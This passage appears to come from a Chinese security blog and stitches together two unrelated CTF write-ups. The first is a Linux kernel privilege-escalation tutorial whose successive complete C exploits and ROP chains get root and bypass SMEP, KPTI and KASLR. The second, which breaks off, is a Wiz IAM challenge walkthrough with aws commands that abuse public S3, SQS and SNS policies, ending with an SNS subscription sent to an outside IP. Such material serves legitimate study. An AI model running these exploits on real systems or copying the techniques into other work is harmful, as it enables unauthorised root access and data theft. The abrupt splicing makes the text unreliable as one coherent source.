在hackme_read中打下断点,查看变量v6中存储了什么值,由于程序是通过memcpy进行数据拷贝的,因此直接查看RSI寄存器对应的数据 可以发现canary的值就在其中,因此利用hackmeread这个函数就可以将数据泄露出来 这里需要注意的是,虽然题目限制的长度是0x1000,但是并不能将拷贝0x1000的长度,因为可能会在不可读的地址中获取数据,导致了执行错误。 在泄露canary后就可以劫持程序执行流程了,与用户态不同,在内核态需要先获取root凭证,在切换到用户态下。 prepare_kernel_cred函数 prepare_kernel_cred函数用于为内核中的进程(也就是进程的内核线程)创建一个新的cred 结构体,该结构体包含有关进程的安全上下文信息,例如UID、GID、capabilities 等。 commit_creds函数 commit_creds 函数接受一个指向 cred结构体的指针,并将其分配给当前进程。该函数通常在进程启动时调用,以确保进程被正确配置以拥有所需的权限。 因此调用prepare_kernel_cred(0)可以获取root权限的凭证,接着调用commit_creds函数,就可以将当前进程的特权修改为root。即指向commit_creds(prepare_kernel_cred(0)) 在获取完root之后则需要调用swags指令进行GS寄存器的切换,即将g_base与k_gs_base的值进行交换,swapgs是一个汇编指令,用于在执行内核代码期间切换当前 CPU 的内核栈和 GS寄存器。完成交换之后才能确保在用户态的寻址不会存在问题。 执行swags指令之前 执行swags指令之后 最后则是切换回用户态,iretq 指令是 x86架构下用于从中断处理程序(或系统调用处理程序)返回到用户空间的指令。它是iret 指令的 64 位版本,用于在 64 位模式下使用。 iretq 指令有以下三个功能: 恢复处理器的标志寄存器 (EFLAGS)的值,以便返回到原始程序的执行上下文。 恢复程序计数器 (Instruction Pointer, RIP)的值,以便返回到原始程序的执行点。 恢复栈指针 (Stack Pointer, RSP) 的值,以便将堆栈指针切换回用户栈上。 iretq还原的值的顺序为RIP|CS|RFLAGS|SP|SS,那么在iret指令中按顺序填充RIP、CS、RFLASG、RSP以及SS的值即可,因此在执行iretq之前需要将在用户态下将这些值进行保存。并且RIP指向的值为system("/bin/sh")函数的地址即可。 保存寄存器的汇编代码如下 __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); 在iretq指令后跟随的值如下 exp 因此最后构造的exp如下 #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred */ unsigned long user_sp, user_cs, user_ss, user_rflags; void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags); } void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } unsigned long user_rip = (unsigned long)backdoor; void lpe() { __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } int main() { unsigned int i, index = 0; int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 8*11); for(i = 0; i < 11; i++) printf("i:%d:data:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long leak_addr = buf[10]; save_user_land(); unsigned long payload[256]; for(i = 0; i < (16); i ++) payload[index++] = 0; payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)lpe; write(fd, payload, index * 8); return 0; } 绕过SMEP SMEP保护是防止内核执行用户空间的代码,而上述的exp则是将利用过程是将汇编语言写在用户空间中,因此在SMEP的保护下,上述的利用会失效。下面将介绍绕过SMEP的几种方法。 run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep\    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 nosmap nokaslr nopti quiet panic=1" \    -s 修改CR4寄存器 前面说过开启SMEP保护实际是将CR4寄存器的第20比特位置为1 那么一个简单的想法就是将CR4寄存器的第20比特位重写为0,关闭SMEP的保护就可以使用上述的利用手法了。那么写cr4寄存器的是通过native_write_cr4函数,将需要改写的值以参数的形式传入进去,因此此时需要一个pop rdi; ret的gadget。 找到native_write_cr4函数 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff81006370: pop rdi; ret; 0xffffffff814443e0 T native_write_cr4 */ unsigned long user_sp, user_cs, user_ss, user_rflags; void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags); } void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } unsigned long user_rip = (unsigned long)backdoor; void lpe() { __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } int main() { unsigned int i, index = 0; int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 8*11); for(i = 0; i < 11; i++) printf("i:%d:data:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long leak_addr = buf[10]; save_user_land(); unsigned long payload[256]; for(i = 0; i < (16); i ++) payload[index++] = 0; payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; // pop rdi; ret; payload[index++] = 0x00000000000060; payload[index++] = 0xffffffff814443e0; //native_write_cr4 payload[index++] = (unsigned long)lpe; write(fd, payload, index * 8); return 0; } 但是在这个版本下的内核已经无法通过native_write_cr4函数改写CR4寄存器了,可以通过dmesg打印日志信息,可以发现 提示pinned CR4 bits changed: 0x100000!?的错误,并且CR4的值也没有被修改,这是因为在当前的内核版本中增加了校验,若后续通过native_write_cr4函数修改的值与启动的值不一致则会报错,并且将值修改为回来的值。 可以看到补丁的说明,在启动后CR4的值无法被修改。因此在改利用手法只能在对CR4进行校验的版本下使用。 构造逃逸ROP 由于SMEP只是杜绝了执行用户态的代码,因此利用ROP的思路,在内核态完成ROP链的构造,并且执行commit_creds(prepare_kernel_cred(0)) -> swags -> iretq的流程。 那么此时需要什么样的gadget则是构造逃逸ROP的重点,由于需要手动传参调用上述的攻击链,因此需要 pop rdi; ret; mov rdi , rax; ret,这里需要注意的是,我们需要prepare_kernel_cred(0)执行的返回值,因此需要将rax寄存器的值传递给rdi寄存器 swags; ret iretq 除了mov rdi, rax; ret以外,其余的gadget都可以很轻松的搜索出来,但是内核中不存在mod rdi, rax; ret这样的gadget,因此需要想办法找到其他的gadget,这里我找到如下的组合,通过构造rdi与rsi的值,使得rdi = rsi从而导致jne的跳转无法执行,那么就可以在执行mov rdi, rax的情况下可以跳过jne的跳转指令执行到ret指令。 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; 因此ROP逃逸的思路与在用户态的ROP区别不大,只要找到合适的gadget即可 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } 栈迁移 栈迁移能使用的场景是当我们需要构造的ROP链大于能溢出的字节数时采用的与用户态不同的是在内核中存在很多可以修改RSP指针的gadget可以使用。这里我找到的gadget是,通过pop rbp; ret与mov rsp, rbp结合,就能够篡改rsp为任何值。 0xffffffff818fa3ef: xor rax, rdx; pop rbp; ret; 0xffffffff810062dc: mov rsp, rbp; pop rbp; ret; 那么需要将rsp篡改为何值,此时就需要结合mmap函数,该函数能够在用户空间中开辟一段内存,该内存的属性可以自定义,因此思路则是将rsp的值指向mmap开辟的地址,通过栈迁移技术,将栈迁移到mmap的地址值,我们在将ROP链填充到mmap开辟的内存中即可,这里对mmap函数进行一个介绍。 mmap函数 void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); addr:开辟的地址值,若为0则操作系统自行选择,否则为填充的值,该地址的值需要页对齐(0x1000),并且最小的值需要为0x10000(这里是我自己测试的) length:内存的大小 prot:权限 PROT_EXEC,执行权限 PROT_READ,读权限 PROT_WRITE,写权限 PROT_NONE,没有任何权限 flags:标志位,mmap函数可以设置的标志位有很多,这里着重介绍一些常用的 MAP_SHARED:共享映射,映射的内容可以被其他进程所看到,同时能够同步到底层的文件 MAP_PRIVATE:私有映射,映射的内容不能被其他进程所看到,也不会同步到底层的文件 MAP_ANONYMOUS:匿名映射,是一种不映射文件的映射 MAP_FIXED:固定映射,即映射地址必须是addr所指定的,若该地址被占用则mmap返回错误 fd:需要映射的文件描述符,若是匿名映射则设置为-1 offet:映射的偏移,即选择从哪个位置开始映射 映射代码如下,这里需要注意的是,由于我们只需要在用户空间中任意开辟一段可执行的内存,因此只需要进行匿名映射,并且地址值需要固定。因此MAP_ANONYMOUS与MAP_FIXED的标志位需要被指定,然后是MAP_SHARED与MAP_PRIVATE必须两个中指定一个,否则也会报错,因为这两个参数指明的是修改的内容是否会影响其他进程或者是底层的文件。 栈迁移完成 将ROP链部署在了映射内存中 最后是遇到的小疑惑,刚开始学习到栈迁移的时候会觉得奇怪,因为mmap开辟的内存是在用户态的,SMEP则是禁止执行用户态的代码,为什么使用栈迁移可以绕过SMEP,后面理解发现,我们只是访问了用户空间的地址即0x2000,但是这段用户态空间填写的地址都是内核态的地址,因此总结流程则是我们在用户态空间中填充了内核态的地址,在进行栈迁移绕过SMEP时,仅仅是访问了用户态空间的地址,最后执行时还是执行的内核态的地址,因此SMEP无法阻碍这种利用。而这也正是SMAP与SMEP的区别,SMAP则是无法读写用户态空间,因此若开启了SMAP,那么该利用手法则无法进行。 绕过KPTI KPTI(Kernel Page Table Isolation)是一种针对 Intel处理器的内核保护机制,用于减轻 Spectre 和 Meltdown 等 CPU可以被利用的安全漏洞所造成的影响。KPTI的主要目的是隔离内核地址空间和用户地址空间,防止恶意程序通过访问内核地址空间来窃取敏感数据。 简单来说就是KPTI的保护即将用户空间的页与内核内核空间的页完全分隔开,那么在使用上述代码进行利用的时候会报出段错误,因为在内核空间的页中没办法找到用户空间的代码。 那么有两种方式可以绕过KPTI 捕获Segmentation fault的异常,在异常处理中调用system(/bin/sh) 切换页表,将内核空间的页表切换到用户空间中去 run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep\    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 nosmap nokaslr kpti=1 quiet panic=1" \    -s 使用异常处理 使用异常处理非常简单,只需要注册一个异常处理的函数去捕获SIGSEGV信号,在捕获到该信号时执行异常处理函数,可自定义为system("/bin/sh") signal(SIGSEGV, backdoor); exp #include <stdio.h> #include <fcntl.h> #include <signal.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); signal(SIGSEGV, backdoor); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } 使用swapgs_restore_regs_and_return_to_usermode 第二种方式则是修改页表,CR3 寄存器是 x86架构中的一种控制寄存器,用于存储页目录表(Page DirectoryTable)的物理地址。因此若能够修改CR3的值为用户空间的页表,那么就可以完成页表的切换,从而正常执行利用代码了。 那么在内核中存在一个函数swapgs_restore_regs_and_return_to_usermode,swapgs_restore_regs_and_return_to_usermode 函数是在 x86架构中用于从内核态切换到用户态的汇编代码片段。这个函数的作用是在内核态执行完系统调用或中断处理程序后,恢复用户态进程的寄存器状态,并返回到用户态进程的执行点继续执行。 在内核中搜索该函数的地址 可以看到在该函数的内部存在修改CR3的操作,因此只需要调用该函数,就可以从内核空间的页表修改为用户空间的页表,但是该函数的起始位置会进行非常多的弹栈操作,如果直接使用很容易造成ROP链的空间不足,因此可以选择在swapgs_restore_regs_and_return_to_usermode + 0x16的位置开始执行。 在该函数后续的执行中,还会执行swapgs的指令,切换GS的寄存器,并且做一个绝对跳转到0xffffffff81200fco 在该地址的后续还存在这iretq的指令,因此该函数具备了所有的条件。 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; 0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff81200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } 绕过SMAP SMAP则是防止在内核态时访问用户态的空间,此时使用swapgs_restore_regs_and_return_to_usermode函数也是完全可以绕过的,因此可以直接使用swapgs_restore_regs_and_return_to_usermode构建的ROP链。 但是如果遇到长度不够时,就能够将栈迁移到用户空间上了,因为在开启SMAP保护的时候就没有办法访问用户空间。那么此时只能借助内核的其他空间进行栈迁移,该手法利用比较复杂,因此留到以后再介绍。 绕过KASLR KASLR与用户态下的ASLR差不多,都是开启了地址的随机化,因此不能使用绝对地址。 run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep,+smap \    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 kaslr nofgkaslr kpti=1 quiet panic=1" \    -s 泄露内核地址 通过泄露内核的程序基地址,再加上函数的偏移即可绕过,与用户态下的利用没有区别。 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds -- [-3701815] 0xffffffff814c67f0 T prepare_kernel_cred -- [-3700823] 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; -- [12094139] 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; -- [-1958308] 0xffffffff81006370: pop rdi; ret; -- [-8682711] 0xffffffff8100a55f: swapgs; pop rbp; ret; -- [-8665832] 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; -- [494318] 0xffffffff814381cb: iretq; pop rbp; ret; -- [-4284028] 0xffffffff8150b97e: pop rsi; ret; -- [-3417801] 0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [-6607159] */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; unsigned long leak_addr = buf[10]; printf("leak addr:0x%lx\n", leak_addr); //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = leak_addr - 8682711; //pop_rdi_ret payload[index++] = 0; payload[index++] = leak_addr - 3700823; //prepare_kernel_cred payload[index++] = leak_addr - 3417801; //pop_rsi_ret payload[index++] = 0; payload[index++] = leak_addr - 8682711; //pop_rdi_ret payload[index++] = 1; payload[index++] = leak_addr + 494318; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = leak_addr - 1958308; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = leak_addr - 3701815; //commit_creds; payload[index++] = leak_addr - 6607159 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); }
IAM风险CTF挑战赛
wiz启动了一个名为“The Big IAM Challenge”云安全CTF挑战赛。旨在让白帽子识别和利用 IAM错误配置,并从现实场景中学习,从而更好的认识和了解IAM相关的风险。比赛包括6个场景,每个场景都专注于各种AWS服务中常见的IAM配置错误。 Challenge1: Buckets of Fun We all know that public buckets are risky. But can you find the flag? 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",   //Effect(效果)设置为Allow(允许)           "Principal": "*",   //Principal(主体)是所有用户("*")           "Action": "s3:GetObject", //获取对象           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" //指定S3存储桶中的所有对象       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",   //列出存储桶           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",             "Condition": {     //条件是通过前缀限制只能列出以"files/"为前缀的对象               "StringLike": {                   "s3:prefix": "files/*"               }           }       }   ] } 该策略允许任何用户列出"thebigiamchallenge-storage-9979f4b"存储桶中符合前缀条件"files/"的对象。该策略存在如下安全风险: 1、允许任何用户对指定的S3存储桶执行GetObject操作以获取对象的内容。 2、允许任何用户对指定的S3存储桶执行ListBucket操作列出存储桶中符合指定前缀条件的对象 解题思路: 针对s3存储桶权限校验不严格,列出桶资源对象并使用查看对象内容获取flag。 1、获取该存储桶中的对象 aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/ 得知files目录下存在flag1.txt文件,将其下载到本地,这里提示Read-only file system(只读文件系统)错误,权限问题,我们将其下载到/tmp目录下: aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag.txt 另外也可以直接网络访问获取: http://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt 获得flag如下: {wiz:exposed-storage-risky-as-usual} Challenge2: We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong? Join our queue and get the secret flag. 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": [               "sqs:SendMessage",     //发送消息               "sqs:ReceiveMessage" //接收消息           ],           "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"       }   ] } 该IAM策略允许任何用户对特定的SQS队列执行SendMessage和ReceiveMessage操作,即发送和接收消息。该策略存在如下安全风险: 1、该策略将操作权限授予了所有用户("*"),意味着任何具有该策略的用户或角色都可以发送和接收消息。 2、该策略没有限制允许访问的用户、角色或其他条件。它允许所有用户执行SendMessage和ReceiveMessage操作。 解题思路: 针对授予特定SQS队列执行ReceiveMessage操作获取队列消息来查找flag。 1、接受消息队列中的信息 aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 2、获取html文件内容 https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html 获得flag如下: {wiz:you-are-at-the-front-of-the-queue} Challenge3: Enable Push Notifications We got a message for you. Can you get it? 查看提示并获取本关的IAM策略如下: {   "Version": "2008-10-17",   "Id": "Statement1",   "Statement": [       {           "Sid": "Statement1",           "Effect": "Allow",           "Principal": {               "AWS": "*" //允许任何AWS用户           },           "Action": "SNS:Subscribe",       //订阅操作           "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",   //主题ARN           "Condition": {               "StringLike": {                   "sns:Endpoint": "*@tbic.wiz.io" //订阅条件               }           }       }   ] } 该策略允许任何AWS用户对指定的SNS主题(ARN为"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications")进行订阅操作。订阅条件要求订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。该策略存在如下风险: 全局访问权限:该策略中指定了允许任何AWS用户("*")执行SNS订阅操作。这意味着任何具有有效的AWS凭证的用户都可以订阅该SNS主题。如果此策略不是有意为特定用户或实体设计的,可能存在风险,因为未经授权的用户可以执行订阅操作。 通配符条件:该策略中的条件指定订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。然而,通配符条件可能过于宽松,允许任何以该域名结尾的Endpoint进行订阅,包括未经授权的Endpoint。这可能导致未经授权的实体订阅主题并接收敏感信息或滥用SNS服务。 潜在的信息泄露:由于该策略允许任何人订阅主题,如果主题包含敏感信息或重要通知,可能会导致信息泄露的风险。攻击者可以订阅主题并接收敏感信息,甚至利用该信息进行其他恶意行为。 解题思路: 1、订阅SNS主题 在订阅时由于调阅条件的限制,先尝试将订阅消息发送到email邮箱账号,但是由于我们没有以@tbic.wiz.io为后缀的邮箱账号,因此需要对此处进行绕过。 AWS用户可以使用SNS:Subscribe操作订阅指定的SNS主题: aws sns subscribe --topic-arn <主题ARN> --protocol <协议> --notification-endpoint <订阅者Endpoint> <主题ARN>为实际的SNS主题ARN。所使用的协议有HTTP、HTTPS、Email、SMS等,订阅者的Endpoint具体根据策略中的条件要求。 对该题目设置SNS订阅: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint research@tbic.wiz.io 2、订阅条件限制绕过 尝试使用http协议进行代理监听的方式获取订阅消息: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://43.155.79.163:8443/@tbic.wiz.io 